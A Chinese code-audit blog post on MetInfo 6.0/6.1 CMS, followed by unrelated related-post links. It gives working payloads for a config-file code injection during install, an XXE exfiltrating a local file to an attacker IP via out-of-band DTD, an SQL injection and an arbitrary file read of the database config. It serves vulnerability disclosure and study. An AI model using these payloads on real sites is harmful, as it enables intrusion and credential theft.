MetInfo最新版代码审计漏洞合集
最近想给 X 天贡献点插件,时常会去留意 seebug 的最新漏洞列表,发现最近 MetInfo 的漏洞上座率蛮高的,就挑它来代码审计了一波。
seebug 上均是 MetInfo 6.0.0
版本的,官方已更新至 6.1.0
上述问题是否修复了呢?
入口文件
这个框架的入口文件很多,都是index.php,比如online/index.php文件:
<?php
define('M_NAME', 'online');
define('M_MODULE', 'web');
define('M_CLASS', 'online');
define('M_ACTION', 'do_online');
require_once '../app/system/entrance.php';
定义了四个常量,用于框架载入时区分入口来源、所属模块、调用类及方法,最后载入entrance.php调用里面的静态方法load::module(); 加载所需模块。
通过查找index.php入口文件,找到可以达到前台大多数方法的文件: /member/index.php。
<?php
$M_MODULE='web';
if(@$_GET['m']) $M_MODULE=$_GET['m'];
if(@!$_GET['n']) $_GET['n'] = "user";
if(@!$_GET['c']) $_GET['c'] = "profile";
if(@!$_GET['a']) $_get['a'] = "doindex";
@define('M_NAME', $_GET['n']);
@define('M_MODULE', $M_MODULE);
@define('M_CLASS', $_GET['c']);
@define('M_ACTION', $_GET['a']);
require_once '../app/system/entrance.php';
可以看到,通过控制$_GET我们可以到达大多数方法。为什么是大多数呢?因为无法直接控制_load_class加载系统类。
里面的$action必须要do开头,也就是调用的方法名必须要do开头。
低版本信息泄漏
在安装之前,我首先对比了一下两个版本的修改文件记录,发现上一个版本的install文件夹中存在一个phpinfo.php文件,里面就是一段<?php phpinfo(); ?> 代码(6.1.0版本中已删除)。
这就方便我们获取目标网站的绝对路径,后期不管是写shell还是存在文件读取的情况,可以快速定位及利用。
网上找到的实例:
安装时写getshell
前提条件:
想利用此处首先需要删除config/install.lock安装锁文件。
在安装过程中执行到db_setup(3.数据库设置)步骤时,发现存在配置文件任意更改的情况。
最近在看<php配置文件写入问题>
https://github.com/CHYbeta/Code-Audit-Challenges/blob/master/php/challenge-3.md)
一直想找机会将它写一篇文章刚好这个 CMS 给了我机会。
关键函数fputs()它是fwrite()函数的别名,用于文件写入。而且这里的逻辑也存在问题,应该将对文件的操作放在数据库连接判断后面。
当我们提交payload后:
setup=1&db_type=mysql&db_prefix=met_met"*/phpinfo();/*
&db_host=localhost&db_name=met&db_username=root&db_pass=
&cndata=yes&endata=yes&showdata=yes&submit=保存数据库设置并继续
虽然页面提示:数据库连接数据库失败,但config/config_db.php文件内容已经被改变了。
参数受到64行代码影响,'__COOKIE', '_POST', '_GET'传递都会加上addslashes()函数,所以单/双引号会在前面加个反斜杠。
<?php/*con_db_host = "localhost"con_db_port = "3306"con_db_id = "root"con_db_pass = ""con_db_name = "met"tablepre = "met_met\"*/phpinfo();/*"db_charset = "utf8";*/
?>
我们访问下看下:
实际上就是用*/去闭合最外层的/*,多行注释的优先级是很高的。
XXE漏洞
漏洞发生在此处文件: app/system/pay/web/pay.class.php,未禁外部实体加载:
测试下是否存在外部引用:
使用XXEinjector工具来验证漏洞,读取本地文件:
# x @ xdeMacBook-Pro in ~/work/tools/HackTools/xxe/XXEinjector on git:master x [19:42:19] C:1
$ cat /etc/networks
##
# Networks Database
##
loopback127loopback-net# x @ xdeMacBook-Pro in ~/work/tools/HackTools/xxe/XXEinjector on git:master x [19:42:29]
$ cat phprequest.txt
POST /member/index.php?a=donotify&m=web&c=pay&n=pay HTTP/1.1
Host:cms777.com
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0
Accept:application/json, text/javascript, */*; q=0.01
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip, deflate
Content-Type:text/xml
Referer:http://cms777.com/\;
X-Requested-With:XMLHttpRequest
DNT:1
Connection:close
Pragma:no-cache
Cache-Control:no-cache
Content-Length:129XXEINJECT
<data>4</data># x @ xdeMacBook-Pro in ~/work/tools/HackTools/xxe/XXEinjector on git:master x [19:42:34]
$ sudo ./XXEinjector.rb --host=192.168.31.21 --file=/Users/x/work/tools/HackTools/xxe/XXEinjector/phprequest.txt --path=/etc/networks --verbose --httpport=89 --oob=http --phpfilter
XXEinjector by Jakub PałaczyńskiEnumeration options:
"y" - enumerate currect file (default)
"n" - skip currect file
"a" - enumerate all files in currect directory
"s" - skip all files in currect directory
"q" - quit[+]Sending request with malicious XML:
http://cms777.com:80/member/index.php?a=donotify&m=web&c=pay&n=pay
{"User-Agent"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept"=>"application/json, text/javascript, */*; q=0.01", "Accept-Language"=>"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding"=>"gzip, deflate", "Content-Type"=>"text/xml", "Referer"=>"http://cms777.com/\\;", "X-Requested-With"=>"XMLHttpRequest", "DNT"=>"1", "Connection"=>"close", "Pragma"=>"no-cache", "Cache-Control"=>"no-cache", "Content-Length"=>"118"}<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.31.21:89/file.dtd">%remote;%int;%trick;]>
<data>4</data>[+]Got request for XML:
GET /file.dtd HTTP/1.0[+]Responding with XML for:/etc/networks
[+]XML payload sent:
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/networks">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.31.21:89/?p=%payl;'>">[+]Response with file/directory content received:
GET /?p=IyMKIyBOZXR3b3JrcyBEYXRhYmFzZQojIwpsb29wYmFjawkxMjcJCWxvb3BiYWNrLW5ldAo=HTTP/1.0[+]Retrieved data:
[+]Nothing else to do. Exiting.
IyMKIyBOZXR3b3JrcyBEYXRhYmFzZQojIwpsb29wYmFjawkxMjcJCWxvb3BiYWNrLW5ldAo=
的内容正好是 /etc/networks
文件内的内容。
对比 6.1.0
版本,此处未被修复,XXE 存在。
此处还存在一个 鸡助的SQL注入
当传递 XML 内容:
<data>
<out_trade_no>' and '1'='1</out_trade_no>
</data>
会进入GetOrder()方法:
if ($array && $array['out_trade_no']) {$date = $this->GetOrder($array['out_trade_no']);%this->doNotify_wxpay($date);
}
方法内部,$out_trade_no变量直接拼接进了sql语句中:
public function GetOrder($out_trade_no) {global $_M;if ($out_trade_no) {$query = "SELECT * FROM {$_M['table']['pay_order']} WHERE out_trade_no='{$out_trade_no}' ";$array = DB::get_one($query);return $array;} else {return FALSE;}
}
但是,利用的前提要满足$_M['table']['pay_order']表存在,不然无法造成攻击:
然后,亲切问候一下:您忙,我吃柠檬,您开心就好!~
任意文件读取
我们全局正则搜索下 \$_GET|\$_POST,发现一处可疑的地方接收$_GET['dir']。
从图中的代码中可以看到,接收外部参数后,将文件读入缓存中后再用flush()函数刷新输出缓冲至浏览器。
但目录地址不能直接使用,需要进入if函数中去,而$dir变量中的字符串前4位必须要有http。
我赌一块钱,当初写这段代码的程序员是想加外链图片的显示。
当然我们传入./.../后,经过str_replace函数替换后会得到一个.,而单独的/是不会被过滤的,如此反复即可构造出突破限制的路径。
最终的payload:
/member/index.php?a=doshow&m=include&c=old_thumb&dir=http/./.../..././/./.../..././/config/config_db.php
MetInfo最新版代码审计漏洞合集相关推荐
- Laravel 漏洞合集
Laravel 漏洞合集 Laravel 存在SQL注入漏洞 poc: /test?email=1&id=1 union select user()# /test?email=1/`& ...
- Spring框架漏洞合集
Spring框架漏洞合集 Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977) 访问路径/oauth/authorize,会看到左上角有个绿色叶子的标志,一般都 ...
- spring漏洞合集 下
前言 现在的 java 开放的网站十个里面有九个是 spring 写的.网上对 spring 相关漏洞的资料很多,但是总结的文章却很少,再加上 spring 庞大的生态,每当看到 spring 相关网 ...
- 二十八种未授权访问漏洞合集(暂时最全)
目录 0x01 未授权漏洞预览 0x02 Active MQ 未授权访问 0x03 Atlassian Crowd 未授权访问 0x04 CouchDB 未授权访问 0x05 Docker 未授权访问 ...
- YKfaka优卡自动发卡程序漏洞合集(这是篇水文)
源码下载地址:https://www.songma.com/product/view188448.html 大部分都是基于宝塔安装目前常见版本:5.7.2(市面上含有少量的5.7.1及5.7.0) 演 ...
- zend及Slim 漏洞合集
zend漏洞 zend framework文件读取漏洞分析 Zend Framework 1.11.13.1.12.0之前版本内的(1) Zend_Dom, (2) Zend_Feed, (3) Ze ...
- Typo3及Nette漏洞合集
Typo3 漏洞 Typo3 反序例化漏洞 在表单中提交任意符合数组格式的输入,在后端代码中都会被解析,然后后端根据TCA来进行判断并处理.比如我们在提交表单中新增一个名为a[b][c][d],值为2 ...
- struts2远程代码执行漏洞合集
声明 好好学习,天天向上 S2-001 漏洞描述 因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中.例 ...
- Spring MVC漏洞合集
Spring MVC 目录穿越漏洞(CVE-2018-1271) 漏洞简介 2018年04月05日,Pivotal公布了Spring MVC存在一个目录穿越漏洞(CVE-2018-1271).Spri ...
最新文章
- 为什么阿里巴巴开发手册中强制要求 POJO 类使用包装类型?NPE问题防范
- php curl 代理ip访问url
- linux基础学习(十)
- [转]常用Delphi开发资料网址
- 如何得到别人的上网帐号和密码
- .NET6 如期⽽⾄
- 1.6编程基础之一维数组_04数组逆序重放
- http协议get_BeetleX之简单HTTP/HTTPS实现
- Java 开发环境配置jdk安装教程
- android打开相机拍照及打开相册选择照片
- SqlServer标识列、修改标识列值
- Selenium Automated test 's Installation environment
- php如何打包成apk,windows下PHP批量生成打包android程序APK
- matlab输入二项分布函数,MATLAB如何使用binopdf函数计算二项分布的概率
- 重构手法46:Parameterize Method (令函数携带参数)
- 刚刚,10位青年学者获得阿里达摩院青橙奖,钟南山寄语,每人100万,最小获奖者28岁
- contiki仿真模拟器cooja的使用
- 图像算法工程师面试考点集锦
- windows 没有应用商店,直接安装所需应用的解决方案
- 我的世界java边境之地_我的世界边境之地是什么 我的世界边境之地介绍
热门文章
- winform中openfiledialog过滤压缩文件格式_什么是最佳图像格式?不同的文件格式及其特点...
- 使用Introspector(Java内省机制)实现Map转换为JavaBean
- 剑指 Offer 07. 重建二叉树【千字分析,三种方法】
- 15行代码AC_ 【蓝桥杯】兴趣小组(解题报告+思考)
- python求阶乘和
- linux curl 多线程,CURL多线程不执行一直在请求
- php 获取请求,PHP 扩展 - 获取请求信息
- python笔记之while和for循环练习
- java什么时候新建进程_创建名为“ {java}”的线程(即轻量级进程)是为了什么?...
- miui微博html5版关闭,MIUI10迎来最后一波开发版推送 可关闭广告消息